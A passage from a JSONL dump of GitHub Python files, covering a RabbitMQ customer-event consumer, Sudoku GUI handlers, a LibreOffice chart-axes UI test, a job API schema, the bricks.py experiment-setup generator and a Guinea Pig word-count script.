self.temporary_queue_name = None\n self.parking_events = []\n self.billing_events = []\n self.ename = 'customer_app_events'\n\n def initialize_rabbitmq(self):\n # To implement - Initialize the RabbitMq connection, channel, exchange and queue here\n xprint(\"CustomerEventConsumer {}: initialize_rabbitmq() called\".format(self.customer_id))\n self.connection = pika.BlockingConnection(pika.ConnectionParameters(host='localhost'))\n self.channel = self.connection.channel()\n self.channel.exchange_declare(exchange=self.ename, exchange_type='topic')\n qname = self.channel.queue_declare('', exclusive=True)\n self.temporary_queue_name = qname.method.queue\n self.channel.queue_bind(exchange=self.ename, queue=self.temporary_queue_name, routing_key=self.customer_id)\n\n def handle_event(self, ch, method, properties, body):\n # To implement - This is the callback that is passed to \"on_message_callback\" when a message is received\n xprint(\"CustomerEventConsumer {}: handle_event() called\".format(self.customer_id))\n\n details = json.loads(body.decode('utf-8'))\n if details.get('customer_id'):\n be = BillingEvent(**details)\n self.billing_events.append(be)\n else:\n pe = ParkingEvent(**details)\n self.parking_events.append(pe)\n \n def start_consuming(self):\n self.channel.basic_consume(self.temporary_queue_name, on_message_callback=self.handle_event, auto_ack=True)\n self.channel.start_consuming()\n\n def close(self):\n # Do not edit this method\n try:\n if self.channel is not None:\n print(\"CustomerEventConsumer {}: Closing\".format(self.customer_id))\n self.channel.stop_consuming()\n time.sleep(1)\n self.channel.close()\n if self.connection is not None:\n self.connection.close()\n except Exception as e:\n print(\"CustomerEventConsumer {}: Exception {} on close()\"\n .format(self.customer_id, e))\n pass\n","repo_name":"GunnerUjjwol/Cloud-System-Software-Hands-on","sub_path":"exercise 5- RabbitMQ/exercise/customer_app.py","file_name":"customer_app.py","file_ext":"py","file_size_in_byte":2602,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"33421761115","text":"from backtracking.backtrack import Backtrack\nfrom boards.pick_board import pick_board\nfrom constraint import check_board\nfrom interface.helpers import btn_to_arr\nfrom interface.sudoku_state import store_state\nfrom exact_cover.algorithmx import AlgorithmX\n\n\ndef check_method(cells, king_check, knight_check, check_text):\n \"\"\"Checks if the board is correct or not.\n\n Args:\n cells: Matrix of QPushButtons which represents the Sudoku board.\n king_check: Boolean which represents if the king constraint is on.\n knight_check: Boolean which represents if the knight constraint is on.\n check_text: QTextEdit used to display information to the user.\n \"\"\"\n arr = btn_to_arr(cells)\n king = king_check.isChecked()\n knight = knight_check.isChecked()\n\n correct = check_board(arr, king, knight)\n\n for line in arr:\n if 0 in line:\n\n if not correct:\n check_text.setText(\"Missing values and puzzle contains constraint mistakes.\")\n else:\n check_text.setText(\"Missing values.\")\n return\n\n if not correct:\n check_text.setText(\"Not correct.\")\n return\n\n check_text.setText(\"Correct.\")\n\n\ndef generate_method(cells, states, king_check, knight_check):\n \"\"\"Picks an example board which fits the constraint criteria.\n\n Args:\n cells: Matrix of QPushButtons which represents the Sudoku board.\n king_check: Boolean which represents if the king constraint is on.\n knight_check: Boolean which represents if the knight constraint is on.\n states: A list of the object SudokuState.\n \"\"\"\n king = king_check.isChecked()\n knight = knight_check.isChecked()\n\n board = pick_board(king, knight)\n arr = btn_to_arr(cells)\n states.append(store_state(arr))\n\n for i in range(9):\n for j in range(9):\n if board[i][j] != 0:\n cells[i][j].setText(str(board[i][j]))\n\n\ndef clear_method(cells, states):\n \"\"\"Clear the entire Sudoku board.\n\n Clear the entire board by removing the text on the QPushButtons.\n In addition also updates the state so the undo action can be performed\n after clearing.\n\n Args:\n cells: Matrix of QPushButtons which represents the Sudoku board.\n states: A list of the object SudokuState.\n \"\"\"\n arr = btn_to_arr(cells)\n states.append(store_state(arr))\n\n for row in cells:\n for cell in row:\n cell.setText(\"\")\n\n\ndef solve_method(cells, king_check, knight_check, check_text, states, algorithm_x):\n \"\"\"Solve the given Sudoku Board.\n\n Args:\n cells: Matrix of QPushButtons which represents the Sudoku board.\n king_check: Boolean which represents if the king constraint is on.\n knight_check: Boolean which represents if the knight constraint is on.\n check_text: QTextEdit used to display information to the user.\n states: A list of the object SudokuState.\n algorithm_x: AlgorithmX object used to solve regular sudoku.\n \"\"\"\n arr = btn_to_arr(cells)\n king = king_check.isChecked()\n knight = knight_check.isChecked()\n\n states.append(store_state(arr))\n\n # If the board breaks constraints\n if not check_board(arr, king, knight):\n check_text.setText(\"Invalid Board\")\n return\n\n if not king and not knight:\n solved = algorithm_x.solve(arr)\n else:\n backtrack = Backtrack(arr)\n backtrack.king = king\n backtrack.knight = knight\n solved = backtrack.solve()\n\n if not solved:\n check_text.setText(\"No solution.\")\n return\n\n for y in range(9):\n for x in range(9):\n cells[y][x].setText(str(solved[y][x]))\n\n\ndef undo_method(cells, states):\n \"\"\"Undo the last action performed by going back to the previous state.\n\n Args:\n cells: Matrix of QPushButtons which represents the Sudoku board.\n states: A list of the object SudokuState.\n \"\"\"\n if len(states) == 0:\n return\n\n last_action = states[-1]\n states.pop()\n\n for i in range(len(last_action.val)):\n\n x = last_action.x[i]\n y = last_action.y[i]\n old = last_action.val[i]\n\n if old == 0:\n cells[x][y].setText(\"\")\n else:\n cells[x][y].setText(str(old))","repo_name":"JonOlav95/algorithm_x","sub_path":"interface/btn_methods.py","file_name":"btn_methods.py","file_ext":"py","file_size_in_byte":4281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"29130452360","text":"# -*- tab-width: 4; indent-tabs-mode: nil; py-indent-offset: 4 -*-\n#\n# This file is part of the LibreOffice project.\n#\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n#\nfrom uitest.framework import UITestCase\nfrom uitest.uihelper.common import get_state_as_dict, get_url_for_data_file\n\nfrom libreoffice.uno.propertyvalue import mkPropertyValues\nfrom uitest.uihelper.common import select_pos\n\n\n# Chart Enable Axes dialog\nclass chartAxes(UITestCase):\n def test_chart_enable_grids_dialog(self):\n with self.ui_test.load_file(get_url_for_data_file(\"tdf98390.ods\")):\n xCalcDoc = self.xUITest.getTopFocusWindow()\n gridwin = xCalcDoc.getChild(\"grid_window\")\n\n gridwin.executeAction(\"SELECT\", mkPropertyValues({\"OBJECT\": \"Object 1\"}))\n gridwin.executeAction(\"ACTIVATE\", tuple())\n xChartMainTop = self.xUITest.getTopFocusWindow()\n xChartMain = xChartMainTop.getChild(\"chart_window\")\n xSeriesObj = xChartMain.getChild(\"CID/D=0:CS=0:CT=0:Series=0\")\n with self.ui_test.execute_dialog_through_action(xSeriesObj, \"COMMAND\", mkPropertyValues({\"COMMAND\": \"InsertMenuAxes\"})) as xDialog:\n\n primaryX = xDialog.getChild(\"primaryX\")\n primaryY = xDialog.getChild(\"primaryY\")\n secondaryX = xDialog.getChild(\"secondaryX\")\n secondaryY = xDialog.getChild(\"secondaryY\")\n\n primaryX.executeAction(\"CLICK\", tuple())\n primaryY.executeAction(\"CLICK\", tuple())\n secondaryX.executeAction(\"CLICK\", tuple())\n secondaryY.executeAction(\"CLICK\", tuple())\n\n\n #reopen and verify Grids dialog\n gridwin.executeAction(\"SELECT\", mkPropertyValues({\"OBJECT\": \"Object 1\"}))\n gridwin.executeAction(\"ACTIVATE\", tuple())\n xChartMainTop = self.xUITest.getTopFocusWindow()\n xChartMain = xChartMainTop.getChild(\"chart_window\")\n xSeriesObj = xChartMain.getChild(\"CID/D=0:CS=0:CT=0:Series=0\")\n with self.ui_test.execute_dialog_through_action(xSeriesObj, \"COMMAND\", mkPropertyValues({\"COMMAND\": \"InsertMenuAxes\"})) as xDialog:\n\n primaryX = xDialog.getChild(\"primaryX\")\n primaryY = xDialog.getChild(\"primaryY\")\n secondaryX = xDialog.getChild(\"secondaryX\")\n secondaryY = xDialog.getChild(\"secondaryY\")\n\n self.assertEqual(get_state_as_dict(primaryX)[\"Selected\"], \"false\")\n self.assertEqual(get_state_as_dict(primaryY)[\"Selected\"], \"false\")\n self.assertEqual(get_state_as_dict(secondaryX)[\"Selected\"], \"true\")\n self.assertEqual(get_state_as_dict(secondaryY)[\"Selected\"], \"true\")\n\n # Test Format -> Axis -> X Axis...: the child name is generated in\n # lcl_getAxisCIDForCommand().\n xAxisX = xChartMain.getChild(\"CID/D=0:CS=0:Axis=0,0\")\n with self.ui_test.execute_dialog_through_action(xAxisX, \"COMMAND\", mkPropertyValues({\"COMMAND\": \"DiagramAxisX\"})) as xDialog:\n xTabs = xDialog.getChild(\"tabcontrol\")\n # Select RID_SVXPAGE_CHAR_EFFECTS, see the SchAttribTabDlg ctor.\n select_pos(xTabs, \"6\")\n xFontTransparency = xDialog.getChild(\"fonttransparencymtr\")\n # Without the accompanying fix in place, this test would have failed, the\n # semi-transparent text UI was visible, but then it was lost on save.\n self.assertEqual(get_state_as_dict(xFontTransparency)[\"Visible\"], \"false\")\n\n\n# vim: set shiftwidth=4 softtabstop=4 expandtab:\n","repo_name":"LibreOffice/core","sub_path":"sc/qa/uitest/chart/chartAxes.py","file_name":"chartAxes.py","file_ext":"py","file_size_in_byte":3608,"program_lang":"python","lang":"en","doc_type":"code","stars":2194,"dataset":"github-code","pt":"52"} +{"seq_id":"28037771850","text":"from .email import email_spec\n\njob_node = {\n \"type\": \"object\",\n \"description\": \"Represents a step or node (for DAGs) in a job.\",\n \"properties\": {\n \"id\": {\n \"description\": \"Unique identifier of the job node.\",\n \"type\": \"string\",\n },\n \"children\": {\n \"type\": \"array\",\n \"items\": {\n \"description\": \"ID of child node.\",\n \"type\": \"string\",\n },\n },\n \"task\": {\n \"description\": \"Name of task performed by this node.\",\n \"type\": \"string\",\n },\n \"status\": {\n \"description\": \"Status of this node.\",\n \"type\": \"string\",\n },\n \"start_time\": {\n \"description\": \"Start time of this node.\",\n \"type\": \"string\",\n \"nullable\": True,\n \"format\": \"date-time\",\n },\n \"stop_time\": {\n \"description\": \"Stop time of this node.\",\n \"type\": \"string\",\n \"nullable\": True,\n \"format\": \"date-time\",\n },\n },\n}\n\nalgorithm_parameter = {\n \"type\": \"object\",\n \"required\": [\"name\", \"value\"],\n \"properties\": {\n \"name\": {\n \"description\": \"Name of algorithm parameter\",\n \"type\": \"string\",\n },\n \"value\": {\n \"description\": \"Value of algorithm parameter\",\n \"oneOf\": [\n {\"type\": \"number\"},\n {\"type\": \"string\"},\n ],\n },\n },\n}\n\njob_spec = {\n \"type\": \"object\",\n \"required\": [\"algorithm_name\", \"media_ids\"],\n \"properties\": {\n \"algorithm_name\": {\n \"description\": \"Name of the algorithm to execute.\",\n \"type\": \"string\",\n },\n \"media_ids\": {\n \"description\": \"List of media IDs.\",\n \"type\": \"array\",\n \"items\": {\"type\": \"integer\"},\n },\n \"extra_params\": {\n \"description\": \"Extra parameters to pass into the algorithm\",\n \"type\": \"array\",\n \"items\": {\"$ref\": \"#/components/schemas/AlgorithmParameter\"},\n },\n \"success_email_spec\": {\n **email_spec,\n \"nullable\": True,\n },\n \"failure_email_spec\": {\n **email_spec,\n \"nullable\": True,\n },\n },\n}\n\njob = {\n \"type\": \"object\",\n \"properties\": {\n \"id\": {\n \"description\": \"Unique identifier of the job generated by Argo.\",\n \"type\": \"string\",\n },\n \"uid\": {\n \"description\": \"Unique ID of the job.\",\n \"type\": \"string\",\n },\n \"gid\": {\n \"description\": \"Group ID of the job.\",\n \"type\": \"string\",\n },\n \"user\": {\n \"description\": \"Unique integer identifying user who submitted the job.\",\n \"type\": \"integer\",\n },\n \"project\": {\n \"description\": \"Unique integer identifying a project.\",\n \"type\": \"integer\",\n },\n \"nodes\": {\n \"type\": \"array\",\n \"items\": {\"$ref\": \"#/components/schemas/JobNode\"},\n },\n \"status\": {\n \"description\": \"Status of this job.\",\n \"type\": \"string\",\n },\n \"start_time\": {\n \"description\": \"Start time of this job.\",\n \"type\": \"string\",\n \"nullable\": True,\n \"format\": \"date-time\",\n },\n \"stop_time\": {\n \"description\": \"Stop time of this job.\",\n \"type\": \"string\",\n \"nullable\": True,\n \"format\": \"date-time\",\n },\n },\n}\n","repo_name":"cvisionai/tator","sub_path":"api/main/schema/components/job.py","file_name":"job.py","file_ext":"py","file_size_in_byte":3607,"program_lang":"python","lang":"en","doc_type":"code","stars":88,"dataset":"github-code","pt":"52"} +{"seq_id":"74785634403","text":"#!/usr/bin/env python2\n#\n# bricks.py prepares an SMT experiment from shell script templates and\n# a configuration file.\n#\n# File Paths\n# ----------\n# * Including config files\n# * relative path: key: @\"include.cfg\"\n# relative to the respective config file, or the working\n# directory if not itself included.\n# * absolute path: key: @\n# searched for in bricks/ and can be used from anywhere.\n#\n# * Jinja template files\n# Jinja2 has its own search path implementation. We add bricks/\n# to its search path.\n#\n# * Input and output files in Bricks\n# Brick inputs and outputs are symlinked relative to the Brick\n# working directory, e.g. input/src input/trg output/alignment\n#\n# Use absolute paths for Experiment input files residing somewhere\n# outside the experiment.\n# note: relative paths to input files are not resolved yet.\n# They currently are relative to the Brick working directory.\n#\n# Brick script execution\n# ----------------------\n# Happens via 'redo', each script is run in its Brick working directory.\n# 'bricks.py' sets up a hierarchy of working directories for Bricks,\n# with symlinks of inputs (and outputs for Bricks containing parts.)\n#\n# number of run (always 0 currently, incremental experiments not implemented)\n# |\n# v name of Brick (outermost Brick is always called Experiment)\n# 0/ v\n# Experiment/\n# input/rawCorpusSource -> /data/raw.corpus.en\n# input/rawCorpusTarget -> /data/raw.corpus.it\n# output/alignment -> WordAligner0/output/alignment\n#\n# PrepSrc/\n# input/raw -> ../../input/rawCorpusSource\n# output/truecased < not actually created by bricks.py\n# <...>\n#\n# PrepTrg/\n# input/raw -> ../../input/rawCorpusTarget\n# output/truecased < not actually created by bricks.py\n# <...>\n#\n# WordAligner0/\n# # links dangle (target doesn't exist) until actual run of Prep*\n# input/src -> ../../PrepSrc/output/truecased\n# input/trg -> ../../PrepTrg/output/truecased\n#\n# Giza12/\n# input/crp1 -> ../../input/src\n# <...>\n#\n# Templates\n# ---------\n# The idea of the shell script wrappers around programs, specified in Bricks\n# either directly as a Jinja template string using 'template:' or as a Jinja\n# template file name 'templateFile:', is to\n#\n# 1) specify both overridable and default configuration values to helpers,\n#\n# 2) coerce helper programs to take their input and produce their output\n# exactly in this filesystem structure. (Temporary files are often also\n# created, but should never be referred to by other Bricks).\n#\n#\n# incremental experiments\n# -----------------------\n# The idea for incremental experiments will be to check via 'redo' if targets\n# need to be run, and if they don't, we can symlink their input back to the\n# previous run.\n#\n\nfrom __future__ import print_function\n\nfrom brick_config import config\nimport logging\nimport os\nimport shutil\nimport sys\nimport jinja2\nimport argparse\n\n\nclass Brick(config.Mapping):\n \"\"\"\n Wrapper around config.Mapping with various utility functions for Bricks.\n \"\"\"\n def __init__(self, mapping):\n assert(isinstance(mapping, config.Mapping))\n config.Container.__init__(self, mapping.parent)\n object.__setattr__(self, 'path', mapping.path)\n object.__setattr__(self, 'data', mapping.data)\n object.__setattr__(self, 'order', mapping.order)\n object.__setattr__(self, 'comments', mapping.comments)\n object.__setattr__(self, 'resolving', set())\n\n # rudimentarily assert that this config level is indeed a Brick\n if not ('input' in self.data and 'output' in self.data):\n raise ValueError(\"Brick %s is missing an input: or output: block\" % self.path)\n\n def filesystemPath(self, configPath=None):\n \"\"\"\n Map the config path to a relative filesystem path of the experiment\n directory which will contain this Brick's data for the runner system.\n \"\"\"\n # replace .parts: shortens \"Experiment.parts.WordAligner0.parts.Giza12\"\n # into \"Experiment/WordAligner0/Giza12\"\n configPath = self.pathParts()\n path = ['0']\n path += [part for part in configPath if part != \"parts\"]\n return os.path.join(*path)\n\n def magicInputBrick(self, inputRef):\n \"\"\"\n For a given Brick input Reference, return the Brick which provides this input.\n @param inputRef: Reference from the input mapping of a Brick, referring to another Brick's output\n \"\"\"\n assert(type(inputRef) is config.Reference)\n\n # relative path to referenced Brick\n refBrickPathOrig = inputRef.relativePath(self)[:-2]\n refBrickPath = list(refBrickPathOrig)\n\n # absolute path of us\n ourPath = self.path.split('.')\n\n # TODO: see below comment with this wording: \"magicInputBrick() should have gone this route.\"\n # TODO: but need to remember parent in resolve2() since this may be a Reference itself, which\n # TODO: doesn't have a parent.\n\n # resolve relative _ walking upwards\n # (poor man's implementation)\n resPoint = self\n while len(refBrickPath) > 0 and refBrickPath[0] == '_':\n refBrickPath = refBrickPath[1:]\n ourPath = ourPath[:-1]\n resPoint = resPoint.parent\n\n #sys.stderr.write('resolved: %s\\n' % '.'.join(ourPath + refBrickPath))\n\n inputBrick = resPoint.getByPath('.'.join(refBrickPath)) if len(refBrickPath) > 0 else resPoint\n #sys.stderr.write('%s\\n' % str(inputBrick))\n\n return inputBrick\n\n def pwd(self):\n \"\"\"\n Absolute path to this Brick's working directory. Used from Jinja.\n \"\"\"\n return os.path.abspath(self.filesystemPath())\n\n def referenceDependencyPath(self, anyput, container, brickOnly=True, depth=0):\n \"\"\"\n Turns a config path referencing another Brick into a filesystem path.\n Used for adding dependencies to the runner system.\n @param relativePath list of node names along config path\n @param brickOnly only reference the brick itself, not the actual input/output file\n \"\"\"\n #print(brickOnly, relativePath)\n\n relativePath = anyput.relativePath(container)[depth:]\n\n # This should really, really be integrated in a recursive function which walks\n # the config tree. However, this is how it has grown. Feel free to replace this.\n\n # currently we only support dependencies of the form ...:\n\n # ['_', '_', 'Giza12', 'output', 'alignment']\n # used for input dependencies (of siblings)\n if len(relativePath) in [5, 6] and relativePath[0:2] == ['_', '_'] \\\n and relativePath[2] != '_' and relativePath[3] == 'output':\n if brickOnly:\n return os.path.join('..', relativePath[2], 'brick')\n else:\n return os.path.join(*(['..'] + relativePath[2:]))\n\n # ['_', '_', '_', 'input', 'src']\n # ['_', '_', '_', 'input', 'corpora', '0'] - for referencing input lists\n # used in referencing the Brick's input in parts\n if len(relativePath) in [5, 6] and relativePath[0:3] == ['_', '_', '_'] \\\n and relativePath[3] in ['output', 'input']:\n if brickOnly:\n return None\n else:\n return os.path.join(*(['..'] + relativePath[3:]))\n\n # ['_', 'parts', 'WordAligner0', 'output', 'alignment']\n # ['_', 'parts', 'Split0', 'output', 'texts', '0']\n # used for output dependencies\n if len(relativePath) in [5, 6] and relativePath[0:2] == ['_', 'parts'] \\\n and relativePath[3] == 'output':\n if brickOnly:\n return os.path.join(relativePath[2], 'brick')\n else:\n return os.path.join(*relativePath[2:])\n\n return None\n\n def dependencies(self, depType=None):\n \"\"\"\n Get all Bricks which we depend on, as a list of relative\n file paths for the runner system 'redo'.\n Either 'input' dependencies, or 'output' dependencies\n (the latter for Bricks with parts).\n Used from 'brick.do.jinja' to obtain dependencies for 'redo'.\n \"\"\"\n allDependencies = list()\n\n types = ['input', 'output'] if depType is None else [depType]\n\n # add input dependencies first:\n # >> Inputs need to be run before the outputs. <<\n #\n # To run parallelized, all inputs may be run in parallel, but must be\n # finished before the \"outputs\" (brick parts) are run.\n\n for inout in types:\n dependencies = set()\n mapping = self[inout]\n\n # walk this Brick's anyputs without resolving config keys\n for (key, anyput) in mapping.data.iteritems():\n if type(anyput) is config.Reference:\n # we may be referencing another Brick, which we then\n # need to add as a dependency.\n path = self.referenceDependencyPath(anyput, mapping)\n if path is not None:\n dependencies.add(path)\n elif isinstance(anyput, config.Sequence):\n # get dependencies from input Sequences\n for val in anyput.data:\n if type(val) is config.Reference:\n path = self.referenceDependencyPath(val, anyput, depth=1)\n if path is not None:\n dependencies.add(path)\n\n allDependencies += sorted(list(dependencies))\n\n return allDependencies\n\n def linkPaths(self, inout, apParent, anyput, key, linkSourcePref, linkTarget):\n \"\"\"\n Recursively walk inputs/outputs and create symlinks in the filesystem.\n \"\"\"\n inoutMapping = {'input': self.input, 'output': self.output}[inout]\n resultList = []\n linkSource = None\n\n if type(anyput) is config.Mapping:\n # walk this Brick's *puts without resolving config keys\n for (k, aput) in anyput.data.iteritems():\n resultList += self.linkPaths(inout, anyput, aput, k, os.path.join(linkSourcePref, '..'), os.path.join(linkTarget, k))\n elif isinstance(anyput, config.Sequence):\n for (i, aput) in enumerate(anyput.data):\n # anyput??\n resultList += self.linkPaths(inout, anyput, aput, i, os.path.join(linkSourcePref, '..'), os.path.join(linkTarget, str(i)))\n elif type(anyput) is config.Reference:\n # referencing another Brick\n linkSource = self.referenceDependencyPath(anyput, inoutMapping, brickOnly=False)\n elif type(anyput) is bool:\n # no specification at all, e.g. output: { trg }\n # here, config parser falls back to defining a bool trg=True\n # (not an output dependency)\n if inout == 'input':\n raise ValueError(\"input %s of Brick %s is neither connected nor defined as a file.\" % (key, self.path))\n else:\n # str, or config.Expression: a direct filename specification.\n #sys.stderr.write(\"STR %s\\n\" % inp)\n\n # potentially resolves config.Expression here\n # why pass apParent? because config.Expression doesn't have .parent\n linkSource = apParent[key]\n\n # for input, check if file exists in FS\n if inout == 'input' and not os.path.exists(linkSource):\n raise ValueError(\"input %s of Brick %s = %s does not exist in file system.\" % (key, self.path, anyput))\n\n if linkSource is not None:\n linkSource = os.path.join(linkSourcePref, linkSource)\n #sys.stderr.write(\"%s -> %s\\n\" % (linkSource, linkTarget))\n\n resultList.append((linkSource, linkTarget))\n\n return resultList\n\n def fsCreateSymlinks(self, links):\n for linkSource, linkTarget in links:\n # mkdir -p $(dirname linkTarget)\n if not os.path.exists(os.path.dirname(linkTarget)):\n os.makedirs(os.path.dirname(linkTarget))\n # ln -sf linkSource linkTarget\n if os.path.islink(linkTarget) or os.path.isfile(linkTarget):\n os.unlink(linkTarget)\n os.symlink(linkSource, linkTarget)\n\n def inoutSymlinks(self, inout):\n \"\"\"\n Create symlinks for all inputs/outputs.\n @param inout either 'input' or 'output'\n \"\"\"\n inoutMapping = {'input': self.input, 'output': self.output}[inout]\n\n fsPath = self.filesystemPath()\n\n # TODO: old stuff, remove.\n # ensure each Brick has an input/output directory\n if not os.path.exists(os.path.join(fsPath, inout)):\n os.makedirs(os.path.join(fsPath, inout))\n\n return self.linkPaths(inout, self, inoutMapping, inout, '', os.path.join(fsPath, inout))\n\n def symlinks(self):\n sym = []\n sym += self.inoutSymlinks('input')\n sym += self.inoutSymlinks('output')\n return sym\n\n\n# can we create this while copying the config tree for inheritance?\nclass InputWrap(object):\n \"\"\"\n Wraps a Brick input config for easy access from Jinja templates.\n \"\"\"\n def __init__(self, brick, magicInputBrick, fileStr):\n \"\"\"\n @param reference: config.Reference pointing to output, or str otherwise?\n \"\"\"\n self.brick = brick\n self.fileStr = fileStr\n self.mib = magicInputBrick\n\n def __str__(self):\n \"\"\"\n To easily obtain brick input filenames from Jinja, for example as {{ brick.input.corpus }}\n This could be written \"input/corpus\", but becomes more useful in loops over input lists.\n @return: absolute input file path for our Brick.\n \"\"\"\n return os.path.join(self.brick.pwd(), self.fileStr)\n\n def __repr__(self):\n return self.__str__()\n\n def __getattr__(self, item):\n \"\"\"\n Allow simplified access (easy syntax) to input Brick's config in\n Jinja templates. Syntax example: {{ brick.input.phraseTable.reorderingConfigSpec }}\n \"\"\"\n if item in self.mib:\n return self.mib[item]\n else:\n return object.__getattribute__(self, item)\n\n\nclass TemplateBrick(Brick):\n \"\"\"\n Wrapper around Brick to replace input and output with nice wrappers\n for access from templates.\n \"\"\"\n def __init__(self, brick):\n Brick.__init__(self, brick)\n\n def __getattribute__(self, item):\n if item != 'input':\n # resort to our parent with all other attributes\n return Brick.__getattribute__(self, item)\n\n # override the attribute input: make Jinja see a dict of InputWrap instances,\n # or lists of InputWraps for input lists.\n anyputMap = {}\n anyputs = self.data[item]\n for anyput in anyputs.keys():\n val = anyputs.data[anyput]\n resolved = anyputs[anyput]\n if isinstance(resolved, config.Sequence):\n # are we referencing something that is eventually a Sequence?\n # In this case, our input brick must be the same for all Sequence entries.\n if type(val) is config.Reference:\n magicInput = self.magicInputBrick(val)\n else:\n magicInput = None\n\n # wrap input list mapping\n l = []\n for i in range(len(resolved)):\n if type(resolved.data[i]) is config.Reference:\n # avoid resolving key in Sequence\n mib = magicInput if magicInput is not None else self.magicInputBrick(val.data[i])\n l.append(InputWrap(self, mib, os.path.join(item, anyput, str(i))))\n else:\n # potentially resolve key\n l.append(resolved[i])\n anyputMap[anyput] = l\n elif type(val) is config.Reference:\n # wrap plain input mapping\n # rather, put an fsPath() implementation on Reference?\n anyputMap[anyput] = InputWrap(self, self.magicInputBrick(val), os.path.join(item, anyput))\n # TODO: config.Reference does not necessarily mean this is a mapping to an output. It could be referring to a hardcoded filename.\n else:\n # resolve other keys if necessary (e.g. hardcoded filenames, pieced together)\n #anyputMap[anyput] = anyputs[anyput]\n anyputMap[anyput] = resolved\n # bla, bla. the usual input processing. why do I keep repeating it?\n # need recursion for resolving References in a Sequence\n\n # TODO: maybe a processing helper with a callback?\n # either callback, or map()-like interface (like here), ...\n return anyputMap\n\n\nclass ConfigGenerator(object):\n def __init__(self, cfgFileName, setupFileName=None, logLevel=logging.ERROR):\n # Logging\n ch = logging.StreamHandler()\n config.logger.addHandler(ch)\n config.logger.setLevel(logLevel)\n\n # Paths\n\n # search path for both global config includes @\n # and Jinja templates.\n try:\n appDir = os.path.dirname(os.path.realpath(__file__))\n except NameError:\n # for interactive Python use\n sys.stderr.write('warning: cannot resolve appDir, interactive mode in %s\\n' % os.getcwd())\n appDir = os.getcwd()\n self.appDir = appDir\n searchPath = os.path.join(appDir, 'bricks')\n\n self.searchPath = searchPath\n self.env = jinja2.Environment(loader=jinja2.FileSystemLoader(searchpath=searchPath))\n configSearchPath = config.ConfigSearchPath([searchPath])\n\n if setupFileName is None:\n setupFileName = '%s.cfg' % os.uname()[1].capitalize()\n # resolve relative path in bricks program root\n setupFileName = configSearchPath.searchGlobalFile('Setups/%s' % setupFileName)\n\n # Create basic Config (not instantiated, i.e. no inheritance or loops)\n self.cfg = config.Config(file(cfgFileName), searchPath=configSearchPath)\n setup = config.Config(setupFileName, parent=self.cfg, searchPath=configSearchPath)\n # implicit str $BRICKS: path to bricks program root directory\n if not 'BRICKS' in setup:\n setup.BRICKS = appDir\n\n # implicit Mapping $Setup: Experiment can inherit $Setup for machine-specific config keys\n self.cfg.Setup = setup\n\n def instantiate(self):\n # resolve inheritance\n self.cfg = self.cfg.instantiate()\n self.experiment = self.cfg.Experiment\n\n def replaceFileContents(self, fileName, newContents):\n \"\"\"\n Only replace fileName with newContents if the contents differ\n from what the file currently contains.\n This avoids changing mtime of the file and thus avoids the\n runner system re-running bricks which haven't changed.\n \"\"\"\n if os.path.exists(fileName):\n with open(fileName) as fi:\n oldContents = fi.read()\n if oldContents == newContents:\n # no need to update the file\n return\n\n # create directory if necessary\n if not os.path.exists(os.path.dirname(fileName)):\n os.makedirs(os.path.dirname(fileName))\n\n with open(fileName, 'w') as fo:\n fo.write(newContents)\n\n def generateRedoFile(self, brick):\n \"\"\"\n Generate a redo file from template for this Brick.\n \"\"\"\n if 'template' in brick:\n # short specification of Jinja template for {% block Work %}\n with open(os.path.join(self.searchPath, 'template.do.jinja')) as fi:\n # 1) Python string interpolation in %%s (from 'template:')\n # 2) Jinja template expansion\n template = self.env.from_string(fi.read() % brick.template)\n elif 'templateFile' in brick:\n # load specified Jinja template file\n template = self.env.get_template(brick.templateFile)\n else:\n # default fallback - nothing to do (but still checks dependencies)\n template = self.env.get_template('brick.do.jinja')\n\n # Render the Jinja template\n try:\n brickDo = template.render({'brick': TemplateBrick(brick)})\n except:\n logging.exception(\"Error while rendering Brick %s\" % brick.path)\n raise\n\n # create/replace redo file, if necessary\n targetFile = os.path.join(brick.filesystemPath(), 'brick.do')\n self.replaceFileContents(targetFile, brickDo)\n\n def generateBricks(self, cfgBrick):\n \"\"\"\n Recursively generate a config for this Brick and all\n its parts.\n @param cfgBrick config.Mapping entry for this Brick.\n \"\"\"\n # we know / assume that this config.Mapping is a Brick.\n brick = Brick(cfgBrick)\n\n # nice debug prints\n #sys.stderr.write('%s\\n' % cfgBrick.path)\n #if len(brick.inputDependencies()) > 0:\n # sys.stderr.write(' input %s\\n' % str(brick.inputDependencies()))\n #if len(brick.outputDependencies()) > 0:\n # sys.stderr.write(' output %s\\n' % str(brick.outputDependencies()))\n\n # TODO: move to self\n brick.fsCreateSymlinks(brick.symlinks())\n self.generateRedoFile(brick)\n\n if 'parts' in brick:\n for part in brick.parts.keys():\n self.generateBricks(brick.parts[part])\n\n\ndef parseArguments():\n parser = argparse.ArgumentParser()\n parser.add_argument('--setup', help='Setup config file included as $Setup.', default=None)\n parser.add_argument('-v', '--verbose', help='Verbose mode for debugging.', action='store_true')\n parser.add_argument('config', help='Root Experiment config file.', nargs='?', default='experiment.cfg')\n return parser.parse_args()\n\nif __name__ == '__main__':\n args = parseArguments()\n\n logLevel = logging.DEBUG if args.verbose else logging.ERROR\n gen = ConfigGenerator(args.config, args.setup, logLevel)\n gen.instantiate()\n gen.generateBricks(gen.experiment)\n\n # create convenience default.do file\n shutil.copy(os.path.join(gen.appDir, 'bricks/default.do'), os.getcwd())\n","repo_name":"cidermole/bricks","sub_path":"bricks.py","file_name":"bricks.py","file_ext":"py","file_size_in_byte":22536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"73689456486","text":"from guineapig import *\nimport sys\nimport gpextras\n\n# wordcount modified for mrs\n\n# supporting routines can go here\ndef tokens(line): \n for tok in line.split(): \n yield tok.lower()\n\n#always subclass Planner\nclass WordCount(Planner):\n\n wc = ReadLines('corpus.txt') | Flatten(by=tokens) | Group(by=lambda x:x, reducingTo=ReduceToCount())\n\n# always end like this\nif __name__ == \"__main__\":\n p = WordCount()\n p.registerCompiler('mrs',gpextras.MRSCompiler)\n 